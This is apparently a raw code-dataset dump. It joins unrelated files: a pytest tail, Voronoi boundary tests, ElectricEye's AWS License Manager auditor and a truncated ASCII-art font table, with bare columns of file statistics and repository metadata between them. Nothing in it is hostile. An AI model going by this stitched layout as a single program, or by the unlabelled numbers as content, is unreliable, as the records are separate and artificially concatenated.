.client.insert_one(mock_resp) data = deepcopy(MOCK_VERSION_NO_ID) with app.app_context(): with pytest.raises(NotFound): version = RegisterToolVersion(data=data, id=MOCK_ID) version.register_metadata()
38.27069
79
0.61238
2,393
22,197
5.400334
0.075219
0.043179
0.062369
0.040625
0.849416
0.817999
0.799505
0.778921
0.764528
0.748046
0
0.000805
0.272785
22,197
579
80
38.336788
0.799777
0.080011
0
0.728238
0
0
0.055944
0
0
0
0
0
0.031847
1
0.061571
false
0.002123
0.025478
0
0.093418
0.002123
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
e9d67c5cbca50ec8e80d110494acda7f3f1a6fe7
7,454
py
Python
tests/models/boundary/test_get_point_comparison.py
EderVs/Voronoi-Diagrams
6e69f9b6eb516dee12d66f187cf267a7b527da5f
[ "MIT" ]
3
2021-11-12T17:43:08.000Z
2022-01-03T02:47:34.000Z
tests/models/boundary/test_get_point_comparison.py
EderVs/Voronoi-Diagrams
6e69f9b6eb516dee12d66f187cf267a7b527da5f
[ "MIT" ]
3
2021-11-19T20:12:31.000Z
2021-11-19T20:14:39.000Z
tests/models/boundary/test_get_point_comparison.py
EderVs/Voronoi-Diagrams
6e69f9b6eb516dee12d66f187cf267a7b527da5f
[ "MIT" ]
null
null
null
"""Test get_point_comparison method.""" # Standard from typing import List, Any from random import randint # Models from voronoi_diagrams.models import ( WeightedSite, WeightedPointBisector, WeightedPointBoundary, Point, ) # Math from decimal import Decimal class TestWeightedPointBoundaryIsPointInAllRegion: """Test get_point_comparison method in WeightedPointBoundary.""" def test_with_concave_to_y_boundary(self): """Test with a boundary that is concave to y.""" p = WeightedSite(Decimal(16), Decimal(10), Decimal(2)) # q is the one in the top. q = WeightedSite(Decimal(40), Decimal(10), Decimal(6)) bisector = WeightedPointBisector(sites=(p, q)) boundary_plus = WeightedPointBoundary(bisector=bisector, sign=True) boundary_minus = WeightedPointBoundary(bisector=bisector, sign=False) # Points in boundary # Point in event point. point = Point(Decimal("40"), Decimal("16")) assert boundary_plus.get_point_comparison(point) == 0 assert boundary_minus.get_point_comparison(point) > 0 # Point in Boundary- point = Point(Decimal("36"), Decimal("16.17424305044159994757531098")) assert boundary_minus.get_point_comparison(point) == 0 assert boundary_plus.get_point_comparison(point) < 0 point = Point(Decimal("36"), Decimal("107.8257569495584071586485307")) assert boundary_minus.get_point_comparison(point) == 0 assert boundary_plus.get_point_comparison(point) < 0 point = Point(Decimal("45"), Decimal("215.8749217771908888306107530")) assert boundary_minus.get_point_comparison(point) == 0 assert boundary_plus.get_point_comparison(point) < 0 # Point in Boundary+ point = Point(Decimal("45"), Decimal("16.12507822280910540692058362")) assert boundary_minus.get_point_comparison(point) > 0 assert boundary_plus.get_point_comparison(point) == 0 # Point inside point = Point(Decimal("45"), Decimal("25")) assert boundary_minus.get_point_comparison(point) > 0 assert boundary_plus.get_point_comparison(point) < 0 # Points outside point = Point(Decimal("70"), Decimal("17")) assert boundary_minus.get_point_comparison(point) > 0 assert boundary_plus.get_point_comparison(point) > 0 point = Point(Decimal("31"), Decimal("17")) assert boundary_minus.get_point_comparison(point) < 0 assert boundary_plus.get_point_comparison(point) < 0 point = Point(Decimal("0"), Decimal("40")) assert boundary_minus.get_point_comparison(point) < 0 assert boundary_plus.get_point_comparison(point) < 0 point = Point(Decimal("50"), Decimal("300")) assert boundary_minus.get_point_comparison(point) < 0 assert boundary_plus.get_point_comparison(point) < 0 # No Weight p = WeightedSite(Decimal(40), Decimal(0), Decimal(0)) # q is the one in the top. q = WeightedSite(Decimal(20), Decimal(0), Decimal(0)) bisector = WeightedPointBisector(sites=(p, q)) boundary_plus = WeightedPointBoundary(bisector=bisector, sign=True) boundary_minus = WeightedPointBoundary(bisector=bisector, sign=False) # Right. point = Point(Decimal("38"), Decimal("2")) assert boundary_minus.get_point_comparison(point) > 0 assert boundary_plus.get_point_comparison(point) > 0 # Left. point = Point(Decimal("25"), Decimal("5")) assert boundary_minus.get_point_comparison(point) > 0 assert boundary_plus.get_point_comparison(point) < 0 # In middle point = Point(Decimal("30"), Decimal("5")) assert boundary_minus.get_point_comparison(point) > 0 assert boundary_plus.get_point_comparison(point) == 0 def test_with_normal_boundary(self): """Test with a boundary that is not concave to y.""" p = WeightedSite(Decimal(16), Decimal(10), Decimal(2)) # q is the one in the top. q = WeightedSite(Decimal(40), Decimal(30), Decimal(6)) bisector = WeightedPointBisector(sites=(p, q)) boundary_plus = WeightedPointBoundary(bisector=bisector, sign=True) boundary_minus = WeightedPointBoundary(bisector=bisector, sign=False) # Points in boundary # Point in event point. point = Point(Decimal("40"), Decimal("36")) assert boundary_minus.get_point_comparison(point) > 0 assert boundary_plus.get_point_comparison(point) == 0 # Point in Boundary+ point = Point(Decimal("70"), Decimal("44.51646544245032821756886326")) assert boundary_minus.get_point_comparison(point) > 0 assert boundary_plus.get_point_comparison(point) == 0 # Point in Boundary- point = Point(Decimal("24"), Decimal("50.49390153191919183928135506")) assert boundary_minus.get_point_comparison(point) == 0 assert boundary_plus.get_point_comparison(point) < 0 # Point inside point = Point(Decimal("30"), Decimal("70")) assert boundary_minus.get_point_comparison(point) > 0 assert boundary_plus.get_point_comparison(point) < 0 # Points outside point = Point(Decimal("90"), Decimal("50")) assert boundary_minus.get_point_comparison(point) > 0 assert boundary_plus.get_point_comparison(point) > 0 point = Point(Decimal("10"), Decimal("50")) assert boundary_minus.get_point_comparison(point) < 0 assert boundary_plus.get_point_comparison(point) < 0 def test_with_stopped_boundary(self): """Test with a boundary that is not concave to y.""" p = WeightedSite(Decimal(16), Decimal(10), Decimal(2)) # q is the one in the top. q = WeightedSite(Decimal(30), Decimal(14), Decimal(6)) bisector = WeightedPointBisector(sites=(p, q)) boundary_plus = WeightedPointBoundary(bisector=bisector, sign=True) boundary_minus = WeightedPointBoundary(bisector=bisector, sign=False) # Points in boundary # Point in event point. point = Point(Decimal("30"), Decimal("20")) assert boundary_minus.get_point_comparison(point) > 0 assert boundary_plus.get_point_comparison(point) == 0 # Point in Boundary+ point = Point(Decimal("60"), Decimal("26.94980694980695009479400205")) assert boundary_minus.get_point_comparison(point) > 0 assert boundary_plus.get_point_comparison(point) == 0 # Point in Boundary- point = Point(Decimal("24"), Decimal("30.28571428571428495693446374")) assert boundary_minus.get_point_comparison(point) == 0 assert boundary_plus.get_point_comparison(point) < 0 # Point inside point = Point(Decimal("30"), Decimal("70")) assert boundary_minus.get_point_comparison(point) > 0 assert boundary_plus.get_point_comparison(point) < 0 # Points outside point = Point(Decimal("40"), Decimal("21")) assert boundary_minus.get_point_comparison(point) > 0 assert boundary_plus.get_point_comparison(point) > 0 point = Point(Decimal("25"), Decimal("21")) assert boundary_minus.get_point_comparison(point) < 0 assert boundary_plus.get_point_comparison(point) < 0 # TestWeightedPointBoundaryIsPointInAllRegion().test_with_stopped_boundary()
44.903614
78
0.677086
876
7,454
5.559361
0.107306
0.085421
0.192197
0.23614
0.847844
0.814374
0.814374
0.814374
0.794661
0.794661
0
0.067364
0.217333
7,454
165
79
45.175758
0.767398
0.104642
0
0.62037
0
0
0.047288
0.035051
0
0
0
0
0.462963
1
0.027778
false
0
0.037037
0
0.074074
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
9
7586d21b96a329da768d1218f9163bf932503634
17,896
py
Python
eeauditor/auditors/aws/AWS_License_Manager_Auditor.py
kbhagi/ElectricEye
31960e1e1cfb75c5d354844ea9e07d5295442823
[ "Apache-2.0" ]
442
2020-03-15T20:56:36.000Z
2022-03-31T22:13:07.000Z
eeauditor/auditors/aws/AWS_License_Manager_Auditor.py
kbhagi/ElectricEye
31960e1e1cfb75c5d354844ea9e07d5295442823
[ "Apache-2.0" ]
57
2020-03-15T22:09:56.000Z
2022-03-31T13:17:06.000Z
eeauditor/auditors/aws/AWS_License_Manager_Auditor.py
kbhagi/ElectricEye
31960e1e1cfb75c5d354844ea9e07d5295442823
[ "Apache-2.0" ]
59
2020-03-15T21:19:10.000Z
2022-03-31T15:01:31.000Z
#This file is part of ElectricEye. #SPDX-License-Identifier: Apache-2.0 #Licensed to the Apache Software Foundation (ASF) under one #or more contributor license agreements. See the NOTICE file #distributed with this work for additional information #regarding copyright ownership. The ASF licenses this file #to you under the Apache License, Version 2.0 (the #"License"); you may not use this file except in compliance #with the License. You may obtain a copy of the License at #http://www.apache.org/licenses/LICENSE-2.0 #Unless required by applicable law or agreed to in writing, #software distributed under the License is distributed on an #"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY #KIND, either express or implied. See the License for the #specific language governing permissions and limitations #under the License. import boto3 import datetime import os from check_register import CheckRegister registry = CheckRegister() # import boto3 clients licensemanager = boto3.client("license-manager") @registry.register_check("license-manager") def license_manager_hard_count_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict: """[LicenseManager.1] License Manager license configurations should be configured to enforce a hard limit""" try: # TODO: need to catch the case that License Manager is not setup response = licensemanager.list_license_configurations() lmCheck = str(response["LicenseConfigurations"]) if lmCheck == "[]": pass else: myLiscMgrConfigs = response["LicenseConfigurations"] for lmconfigs in myLiscMgrConfigs: liscConfigArn = str(lmconfigs["LicenseConfigurationArn"]) # ISO Time iso8601Time = ( datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat() ) try: response = licensemanager.get_license_configuration( LicenseConfigurationArn=liscConfigArn ) liscConfigId = str(response["LicenseConfigurationId"]) liscConfigName = str(response["Name"]) hardLimitCheck = str(response["LicenseCountHardLimit"]) if hardLimitCheck == "False": finding = { "SchemaVersion": "2018-10-08", "Id": liscConfigArn + "/license-manager-enforce-hard-limit-check", "ProductArn": f"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default", "GeneratorId": liscConfigArn, "AwsAccountId": awsAccountId, "Types": [ "Software and Configuration Checks/AWS Security Best Practices" ], "FirstObservedAt": iso8601Time, "CreatedAt": iso8601Time, "UpdatedAt": iso8601Time, "Severity": {"Label": "LOW"}, "Confidence": 99, "Title": "[LicenseManager.1] License Manager license configurations should be configured to enforce a hard limit", "Description": "License Manager license configuration " + liscConfigName + " does not enforce a hard limit. Enforcing a hard limit prevents new instances from being created that if you have already provisioned all available licenses. Refer to the remediation instructions to remediate this behavior", "Remediation": { "Recommendation": { "Text": "For information on hard limits refer to the License Configuration Parameters and Rules section of the AWS License Manager User Guide", "Url": "https://docs.aws.amazon.com/license-manager/latest/userguide/config-overview.html", } }, "ProductFields": {"Product Name": "ElectricEye"}, "Resources": [ { "Type": "AwsLicenseManagerLicenseConfiguration", "Id": liscConfigArn, "Partition": awsPartition, "Region": awsRegion, "Details": { "Other": { "licenseConfigurationId": liscConfigId, "licenseConfigurationName": liscConfigName, } }, } ], "Compliance": { "Status": "FAILED", "RelatedRequirements": [ "NIST CSF ID.AM-2", "NIST SP 800-53 CM-8", "NIST SP 800-53 PM-5", "AICPA TSC CC3.2", "AICPA TSC CC6.1", "ISO 27001:2013 A.8.1.1", "ISO 27001:2013 A.8.1.2", "ISO 27001:2013 A.12.5.1", ], }, "Workflow": {"Status": "NEW"}, "RecordState": "ACTIVE", } yield finding else: finding = { "SchemaVersion": "2018-10-08", "Id": liscConfigArn + "/license-manager-enforce-hard-limit-check", "ProductArn": f"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default", "GeneratorId": liscConfigArn, "AwsAccountId": awsAccountId, "Types": [ "Software and Configuration Checks/AWS Security Best Practices" ], "FirstObservedAt": iso8601Time, "CreatedAt": iso8601Time, "UpdatedAt": iso8601Time, "Severity": {"Label": "INFORMATIONAL"}, "Confidence": 99, "Title": "[LicenseManager.1] License Manager license configurations should be configured to enforce a hard limit", "Description": "License Manager license configuration " + liscConfigName + " enforces a hard limit.", "Remediation": { "Recommendation": { "Text": "For information on hard limits refer to the License Configuration Parameters and Rules section of the AWS License Manager User Guide", "Url": "https://docs.aws.amazon.com/license-manager/latest/userguide/config-overview.html", } }, "ProductFields": {"Product Name": "ElectricEye"}, "Resources": [ { "Type": "AwsLicenseManagerLicenseConfiguration", "Id": liscConfigArn, "Partition": awsPartition, "Region": awsRegion, "Details": { "Other": { "licenseConfigurationId": liscConfigId, "licenseConfigurationName": liscConfigName, } }, } ], "Compliance": { "Status": "PASSED", "RelatedRequirements": [ "NIST CSF ID.AM-2", "NIST SP 800-53 CM-8", "NIST SP 800-53 PM-5", "AICPA TSC CC3.2", "AICPA TSC CC6.1", "ISO 27001:2013 A.8.1.1", "ISO 27001:2013 A.8.1.2", "ISO 27001:2013 A.12.5.1", ], }, "Workflow": {"Status": "RESOLVED"}, "RecordState": "ARCHIVED", } yield finding except Exception as e: print(e) except Exception as e: print(e) @registry.register_check("license-manager") def license_manager_disassociation_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict: """[LicenseManager.2] License Manager license configurations should disassociate hosts when license in scope is not found""" try: # TODO: need to catch the case that License Manager is not setup response = licensemanager.list_license_configurations() lmCheck = str(response["LicenseConfigurations"]) if lmCheck == "[]": pass else: myLiscMgrConfigs = response["LicenseConfigurations"] for lmconfigs in myLiscMgrConfigs: liscConfigArn = str(lmconfigs["LicenseConfigurationArn"]) # ISO Time iso8601Time = ( datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat() ) try: response = licensemanager.get_license_configuration( LicenseConfigurationArn=liscConfigArn ) liscConfigId = str(response["LicenseConfigurationId"]) liscConfigName = str(response["Name"]) disassocCheck = str(response["DisassociateWhenNotFound"]) if disassocCheck == "False": finding = { "SchemaVersion": "2018-10-08", "Id": liscConfigArn + "/license-manager-disassociation-check", "ProductArn": f"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default", "GeneratorId": liscConfigArn, "AwsAccountId": awsAccountId, "Types": [ "Software and Configuration Checks/AWS Security Best Practices" ], "FirstObservedAt": iso8601Time, "CreatedAt": iso8601Time, "UpdatedAt": iso8601Time, "Severity": {"Label": "LOW"}, "Confidence": 99, "Title": "[LicenseManager.2] License Manager license configurations should disassociate hosts when license in scope is not found", "Description": "License Manager license configuration " + liscConfigName + " does not enforce automatic disassociation. Refer to the remediation instructions to remediate this behavior.", "Remediation": { "Recommendation": { "Text": "For information on disassociation refer to the Disassociating license configurations and AMIs section of the AWS License Manager User Guide", "Url": "https://docs.aws.amazon.com/license-manager/latest/userguide/license-rules.html#ami-disassociation", } }, "ProductFields": {"Product Name": "ElectricEye"}, "Resources": [ { "Type": "AwsLicenseManagerLicenseConfiguration", "Id": liscConfigArn, "Partition": awsPartition, "Region": awsRegion, "Details": { "Other": { "LicenseConfigurationId": liscConfigId, "LicenseConfigurationName": liscConfigName, } }, } ], "Compliance": { "Status": "FAILED", "RelatedRequirements": [ "NIST CSF ID.AM-2", "NIST SP 800-53 CM-8", "NIST SP 800-53 PM-5", "AICPA TSC CC3.2", "AICPA TSC CC6.1", "ISO 27001:2013 A.8.1.1", "ISO 27001:2013 A.8.1.2", "ISO 27001:2013 A.12.5.1", ], }, "Workflow": {"Status": "NEW"}, "RecordState": "ACTIVE", } yield finding else: finding = { "SchemaVersion": "2018-10-08", "Id": liscConfigArn + "/license-manager-disassociation-check", "ProductArn": f"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default", "GeneratorId": liscConfigArn, "AwsAccountId": awsAccountId, "Types": [ "Software and Configuration Checks/AWS Security Best Practices" ], "FirstObservedAt": iso8601Time, "CreatedAt": iso8601Time, "UpdatedAt": iso8601Time, "Severity": {"Label": "INFORMATIONAL"}, "Confidence": 99, "Title": "[LicenseManager.2] License Manager license configurations should disassociate hosts when license in scope is not found", "Description": "License Manager license configuration " + liscConfigName + " enforces automatic disassociation.", "Remediation": { "Recommendation": { "Text": "For information on disassociation refer to the Disassociating license configurations and AMIs section of the AWS License Manager User Guide", "Url": "https://docs.aws.amazon.com/license-manager/latest/userguide/license-rules.html#ami-disassociation", } }, "ProductFields": {"Product Name": "ElectricEye"}, "Resources": [ { "Type": "AwsLicenseManagerLicenseConfiguration", "Id": liscConfigArn, "Partition": awsPartition, "Region": awsRegion, "Details": { "Other": { "LicenseConfigurationId": liscConfigId, "LicenseConfigurationName": liscConfigName, } }, } ], "Compliance": { "Status": "PASSED", "RelatedRequirements": [ "NIST CSF ID.AM-2", "NIST SP 800-53 CM-8", "NIST SP 800-53 PM-5", "AICPA TSC CC3.2", "AICPA TSC CC6.1", "ISO 27001:2013 A.8.1.1", "ISO 27001:2013 A.8.1.2", "ISO 27001:2013 A.12.5.1" ] }, "Workflow": {"Status": "RESOLVED"}, "RecordState": "ARCHIVED", } yield finding except Exception as e: print(e) except Exception as e: print(e)
56.993631
255
0.422105
1,173
17,896
6.424552
0.219949
0.053875
0.019108
0.020701
0.850053
0.850053
0.850053
0.84793
0.83413
0.830414
0
0.036443
0.498603
17,896
314
256
56.993631
0.80341
0.066607
0
0.809859
0
0.024648
0.310723
0.063512
0
0
0
0.003185
0
1
0.007042
false
0.014085
0.014085
0
0.021127
0.014085
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
75a97aa4b2e540e5a2d3a03cb5558918513fe65a
38,909
py
Python
fart/fonts/georgia11.py
evdcush/fart
82c8a5b355a0b8d2833f3583a40780862c3be0aa
[ "BSD-3-Clause" ]
7
2020-03-23T13:13:36.000Z
2022-02-26T14:46:04.000Z
fart/fonts/georgia11.py
evdcush/fart
82c8a5b355a0b8d2833f3583a40780862c3be0aa
[ "BSD-3-Clause" ]
null
null
null
fart/fonts/georgia11.py
evdcush/fart
82c8a5b355a0b8d2833f3583a40780862c3be0aa
[ "BSD-3-Clause" ]
null
null
null
font = { ' ' : [ ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ], '!' : [ ' ', ' ', ' OO ', ' 88 ', ' || ', ' || ', " `' ", ' ,, ', ' db ', ' ', ' ', ], '"' : [ ' ', ' gp gp ', ' \\/ \\/ ', " `' `' ", ' ', ' ', ' ', ' ', ' ', ' ', ' ', ], '#' : [ ' ', ' ', " ,M' dP ", " dP .M' ", ' mmmMmmMmm ', ' MP dP ', 'mmdMmmMmmm ', " ,M' dP ", " dP ,M' ", ' ', ' ', ], '$' : [ ' ', ' M ', ' ,,,M.. ', "'P M `db, ", '8m._M `"\' ', '`YMMM._ ', ' `MYMMb, ', 'M M .M8 ', "YbmmMmd9' ", ' M ', ' ', ], '%' : [ ' ', ' ', ',M""Yg. ,M\' ', "MY Mb ,M' ", "8M. ,M9,M' ", ' `""\' ,M\',;:. ', " ,M',MP Yb ", " ,M' `M. .M: ", ",M' Ybmmd' ", ' ', ' ', ], '&' : [ ' ', ' ', ' ,gM""bg ', ' 8MI ,8 ', ' WMp," ', ' ,gPMN. jM"\' ', ",M. YMp.M' ", '8Mp ,MMp ', "`YMbmm'``MMm. ", ' ', ' ', ], "'" : [ ' ', ' gp ', ' \\/ ', " `' ", ' ', ' ', ' ', ' ', ' ', ' ', ' ', ], '(' : [ ' ', ' ..', " pd' ", ' 6P ', "6M' ", 'MN ', 'MN ', 'YM. ', ' Mb ', ' Yq. ', ' ``', ], ')' : [ ' ', '.. ', ' `bq ', ' YA ', ' `Mb ', ' 8M ', ' 8M ', ' ,M9 ', ' dM ', ' .pY ', "'' ", ], '*' : [ ' ', ' q p ', ' \\ / ', 'o=--*--=o ', ' / \\ ', ' d b ', ' ', ' ', ' ', ' ', ' ', ], '+' : [ ' ', ' ', ' ', ' ', ' M ', ' M ', 'mmmmMmmmm ', ' M ', ' M ', ' ', ' ', ], ',' : [ ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ,, ', ' dg ', ' ,j ', ",' ", ], '-' : [ ' ', ' ', ' ', ' ', ' ', ' ', 'mmmmm ', ' ', ' ', ' ', ' ', ], '.' : [ ' ', ' ', ' ', ' ', ' ', ' ', ' ', ',, ', 'db ', ' ', ' ', ], '/' : [ ' ', ' AW ', " ,M' ", ' MV ', ' AW ', " ,M' ", ' MV ', ' AW ', " ,M' ", ' MV ', 'AW ', ], '0' : [ ' ', ' ', ' ', ' ', ' ,pP""Yq. ', "6W' `Wb ", '8M M8 ', 'YA. ,A9 ', " `Ybmmd9' ", ' ', ' ', ], '1' : [ ' ', ' ', ' ', ' __, ', '`7MM ', ' MM ', ' MM ', ' MM ', '.JMML.', ' ', ' ', ], '2' : [ ' ', ' ', ' ', ' ', ' pd*"*b. ', '(O) j8 ', ' ,;j9 ', " ,-=' ", 'Ammmmmmm ', ' ', ' ', ], '3' : [ ' ', ' ', ' ', ' ', ' pd""b. ', '(O) `8b ', ' ,89 ', ' ""Yb. ', ' 88 ', "(O) .M' ", " bmmmd' ", ], '4' : [ ' ', ' ', ' ', ' ', ' ,AM ', ' AVMM ', " ,W' MM ", ",W' MM ", 'AmmmmmMMmm ', ' MM ', ' MM ', ], '5' : [ ' ', ' ', ' ', ' ', ' M****** ', '.M ', '|bMMAg. ', ' `Mb ', ' jM ', '(O) ,M9 ', ' 6mmm9 ', ], '6' : [ ' ', ' ', ' .6*" ', " ,M' ", ',Mbmmm. ', "6M' `Mb. ", 'MI M8 ', 'WM. ,M9 ', ' WMbmmd9 ', ' ', ' ', ], '7' : [ ' ', ' ', ' ', ' ', "M******A' ", "Y A' ", " A' ", " A' ", " A' ", " A' ", " A' ", ], '8' : [ ' ', ' ', ' ,6*"*VA. ', 'dN V8 ', '`MN. ,g9 ', ' ,MMMMq. ', '6P `YMb ', '8b `M9 ', '`MmmmmM9 ', ' ', ' ', ], '9' : [ ' ', ' ', ' ', ' ', ' .d*"*bg. ', '6MP Mb ', 'YMb MM ', ' `MbmmdM9 ', " .M' ", ' .d9 ', ' m"\' ', ], ':' : [ ' ', ' ', ' ', ' ', ' gp ', ' "" ', ' ', ' ,, ', ' db ', ' ', ' ', ], ';' : [ ' ', ' ', ' ', ' ', ' gp ', ' "" ', ' ', ' ,, ', ' dg ', ' ,j ', ",' ", ], '<' : [ ' ', ' ', ' ', " ,;//'", " ,;//' ", ",//' ", '`\\\\. ', ' `\\\\:. ', ' `\\\\.', ' ', ' ', ], '=' : [ ' ', ' ', ' ', ' ', ' ', 'mmmmmmmmm ', ' ', 'mmmmmmmmm ', ' ', ' ', ' ', ], '>' : [ ' ', ' ', ' ', '`\\\\. ', ' `\\\\:. ', ' `\\\\.', " ,;//'", " ,;//' ", ",//' ", ' ', ' ', ], '?' : [ ' ', ' ', ',M"""b. ', "89' `Mg ", ' ,M9 ', " mMMY' ", ' MM ', ' ,, ', ' db ', ' ', ' ', ], '@' : [ ' ', ' ', ' ,.-==-. ', " ,pd' `g. ", ' ,P ,dMb.A Y. ', ',P dP ,MP j8 ', "8: dM' dM d' ", "Wb YML.dML..d' ", ' Wb ``""^`"\' ', ' `M.. .,! ', " `Ybmmd' ", ], 'A' : [ ' ', ' ', ' db ', ' ;MM: ', ' ,V^MM. ', ' ,M `MM ', ' AbmmmqMA ', " A' VML ", '.AMA. .AMMA.', ' ', ' ', ], 'B' : [ ' ', ' ', '`7MM"""Yp, ', ' MM Yb ', ' MM dP ', ' MM"""bg. ', ' MM `Y ', ' MM ,9 ', '.JMMmmmd9 ', ' ', ' ', ], 'C' : [ ' ', ' ', ' .g8"""bgd ', ".dP' `M ", "dM' ` ", 'MM ', 'MM. ', "`Mb. ,' ", ' `"bmmmd\' ', ' ', ' ', ], 'D' : [ ' ', ' ', '`7MM"""Yb. ', ' MM `Yb. ', ' MM `Mb ', ' MM MM ', ' MM ,MP ', " MM ,dP' ", ".JMMmmmdP' ", ' ', ' ', ], 'E' : [ ' ', ' ', '`7MM"""YMM ', ' MM `7 ', ' MM d ', ' MMmmMM ', ' MM Y , ', ' MM ,M ', '.JMMmmmmMMM ', ' ', ' ', ], 'F' : [ ' ', ' ', '`7MM"""YMM ', ' MM `7 ', ' MM d ', ' MM""MM ', ' MM Y ', ' MM ', '.JMML. ', ' ', ' ', ], 'G' : [ ' ', ' ', ' .g8"""bgd ', ".dP' `M ", "dM' ` ", 'MM ', "MM. `7MMF'", '`Mb. MM ', ' `"bmmmdPY ', ' ', ' ', ], 'H' : [ ' ', ' ', "`7MMF' `7MMF'", ' MM MM ', ' MM MM ', ' MMmmmmmmMM ', ' MM MM ', ' MM MM ', '.JMML. .JMML.', ' ', ' ', ], 'I' : [ ' ', ' ', "`7MMF'", ' MM ', ' MM ', ' MM ', ' MM ', ' MM ', '.JMML.', ' ', ' ', ], 'J' : [ ' ', ' ', " `7MMF'", ' MM ', ' MM ', ' MM ', ' MM ', '(O) MM ', ' Ymmm9 ', ' ', ' ', ], 'K' : [ ' ', ' ', "`7MMF' `YMM' ", " MM .M' ", ' MM .d" ', ' MMMMM. ', ' MM VMA ', ' MM `MM. ', '.JMML. MMb.', ' ', ' ', ], 'L' : [ ' ', ' ', "`7MMF' ", ' MM ', ' MM ', ' MM ', ' MM , ', ' MM ,M ', '.JMMmmmmMMM ', ' ', ' ', ], 'M' : [ ' ', ' ', "`7MMM. ,MMF'", ' MMMb dPMM ', ' M YM ,M MM ', " M Mb M' MM ", " M YM.P' MM ", " M `YM' MM ", ".JML. `' .JMML.", ' ', ' ', ], 'N' : [ ' ', ' ', "`7MN. `7MF'", ' MMN. M ', ' M YMb M ', ' M `MN. M ', ' M `MM.M ', ' M YMM ', '.JML. YM ', ' ', ' ', ], 'O' : [ ' ', ' ', ' .g8""8q. ', ".dP' `YM. ", "dM' `MM ", 'MM MM ', 'MM. ,MP ', "`Mb. ,dP' ", ' `"bmmd"\' ', ' ', ' ', ], 'P' : [ ' ', ' ', '`7MM"""Mq. ', ' MM `MM.', ' MM ,M9 ', ' MMmmdM9 ', ' MM ', ' MM ', '.JMML. ', ' ', ' ', ], 'Q' : [ ' ', ' ', ' .g8""8q. ', ".dP' `YM. ", "dM' `MM ", 'MM MM ', 'MM. ,MP ', "`Mb. ,dP' ", ' `"bmmd"\' ', ' MMb ', " `bood'", ], 'R' : [ ' ', ' ', '`7MM"""Mq. ', ' MM `MM. ', ' MM ,M9 ', ' MMmmdM9 ', ' MM YM. ', ' MM `Mb. ', '.JMML. .JMM.', ' ', ' ', ], 'S' : [ ' ', ' ', ' .M"""bgd ', ',MI "Y ', '`MMb. ', ' `YMMNq. ', '. `MM ', 'Mb dM ', 'P"Ybmmd" ', ' ', ' ', ], 'T' : [ ' ', ' ', 'MMP""MM""YMM ', "P' MM `7 ", ' MM ', ' MM ', ' MM ', ' MM ', ' .JMML. ', ' ', ' ', ], 'U' : [ ' ', ' ', "`7MMF' `7MF'", ' MM M ', ' MM M ', ' MM M ', ' MM M ', ' YM. ,M ', ' `bmmmmd"\' ', ' ', ' ', ], 'V' : [ ' ', ' ', "`7MMF' `7MF'", ' `MA ,V ', ' VM: ,V ', " MM. M' ", " `MM A' ", ' :MM; ', ' VF ', ' ', ' ', ], 'W' : [ ' ', ' ', "`7MMF' A `7MF'", ' `MA ,MA ,V ', ' VM: ,VVM: ,V ', " MM. M' MM. M' ", " `MM A' `MM A' ", ' :MM; :MM; ', ' VF VF ', ' ', ' ', ], 'X' : [ ' ', ' ', "`YMM' `MP' ", ' VMb. ,P ', " `MM.M' ", ' MMb ', " ,M'`Mb. ", ' ,P `MM. ', '.MM:. .:MMa.', ' ', ' ', ], 'Y' : [ ' ', ' ', "`YMM' `MM'", ' VMA ,V ', ' VMA ,V ', ' VMMP ', ' MM ', ' MM ', ' .JMML. ', ' ', ' ', ], 'Z' : [ ' ', ' ', 'MMM"""AMV ', "M' AMV ", "' AMV ", ' AMV ', ' AMV , ', ' AMV ,M ', 'AMVmmmmMM ', ' ', ' ', ], '[' : [ ' ', 'mmmmm ', 'MM ', 'MM ', 'MM ', 'MM ', 'MM ', 'MM ', 'MM ', 'MM ', 'MMmmm ', ], '\\' : [ ' ', 'VM ', ' MA ', ' `M. ', ' VM ', ' MA ', ' `M. ', ' VM ', ' MA ', ' `M. ', ' VM ', ], ']' : [ ' ', 'mmmmm ', ' MM ', ' MM ', ' MM ', ' MM ', ' MM ', ' MM ', ' MM ', ' MM ', 'mmmMM ', ], '^' : [ ' ', ' /\\ ', ' //\\\\ ', '// \\\\', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ], '_' : [ ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', 'mmmmmmm ', ], '`' : [ ' ', " ,'", ";' ", 'bg ', '"" ', ' ', ' ', ' ', ' ', ' ', ' ', ], 'a' : [ ' ', ' ', ' ', ' ', ' ,6"Yb. ', '8) MM ', ' ,pm9MM ', '8M MM ', '`Moo9^Yo.', ' ', ' ', ], 'b' : [ ' ', ' ,, ', '*MM ', ' MM ', ' MM,dMMb. ', ' MM `Mb ', ' MM M8 ', ' MM. ,M9 ', " P^YbmdP' ", ' ', ' ', ], 'c' : [ ' ', ' ', ' ', ' ', ' ,p6"bo ', "6M' OO ", '8M ', 'YM. , ', " YMbmd' ", ' ', ' ', ], 'd' : [ ' ', ' ,, ', ' `7MM ', ' MM ', ' ,M""bMM ', ',AP MM ', '8MI MM ', '`Mb MM ', ' `Wbmd"MML.', ' ', ' ', ], 'e' : [ ' ', ' ', ' ', ' ', ' .gP"Ya ', ",M' Yb ", '8M"""""" ', 'YM. , ', " `Mbmmd' ", ' ', ' ', ], 'f' : [ ' ', ' ,...', ' .d\' ""', ' dM` ', ' mMMmm ', ' MM ', ' MM ', ' MM ', 